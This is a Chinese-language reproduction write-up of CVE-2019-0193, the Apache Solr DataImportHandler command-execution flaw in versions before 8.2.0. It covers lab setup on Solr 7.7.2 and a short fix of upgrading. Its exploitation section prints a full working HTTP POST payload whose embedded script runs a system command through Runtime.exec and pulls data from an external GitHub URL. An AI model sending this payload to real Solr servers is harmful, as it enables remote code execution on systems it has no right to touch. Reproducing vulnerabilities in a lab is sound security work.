CVE-2019-0193：Apache Solr 遠程命令執行漏洞復現
0X00漏洞簡介
CVE-2019-0193是一個存在于Apache solr搜索引擎中的命令執行漏洞
0X01漏洞原因
Apache solr 是一款開源的搜索服務器并且使用java語言開發；主要的作業方式：用戶通過http請求像搜索引擎發出索引條件，solr對條件進行分詞 處理，根據分詞結果查找索引，繼而找到檔案
在Apache solr的可選模塊DatalmportHandler中的DIH配置是可以包含腳本，因此存在安全隱患，在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用戶控制
0X02漏洞影響范圍
影響范圍： Apache solr < 8.2.0
0X03漏洞環境搭建
下載地址https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip
解壓完成后使用cmd進入bin檔案夾執行solr –e dih
訪問系統提示的界面http://localhost:8983/solr即可訪問
查看虛擬機ip并在本機訪問可成功訪問
0X04漏洞利用
cmd 命令執行curl http://localhost:8983/solr/admin/cores （或者瀏覽器訪問）可以獲取core資訊
根據獲取的core資訊中name資訊構造payload下面的 <your_core_name> 需要替換為你獲取到的 core 的 name（共兩處）并將host改成你的目標機ip
payload如下：
POST /solr/your_name/dataimport HTTP/1.1 Host: 192.168.150.164:8983 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.150.164:8983/solr/ Content-type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 1005 Connection: close command=full-import&verbose=false&clean=false&commit=false&debug=true&core=your_name&name=dataimport&dataConfig=<dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(row){ var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("calc").getInputStream())); var result = []; while(true) { var oneline = bufReader.readLine(); result.push( oneline ); if(!oneline) break; } row.put("title",result.join("\n\r")); return row; } ]]></script> <document> <entity name="entity1" url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml" processor="XPathEntityProcessor" forEach="/RDF/item" transformer="script:poc"> <field column="title" xpath="/RDF/item/title" /> </entity> </document> </dataConfig>
利用結果如下：
0X05漏洞修復
建議升級到最新版本
轉載請註明出處，本文鏈接：https://www.uj5u.com/qiye/2277.html
標籤：訊息安全
上一篇：內網學習之Kerberos協議
下一篇：構建ROP鏈實作遠程堆疊溢位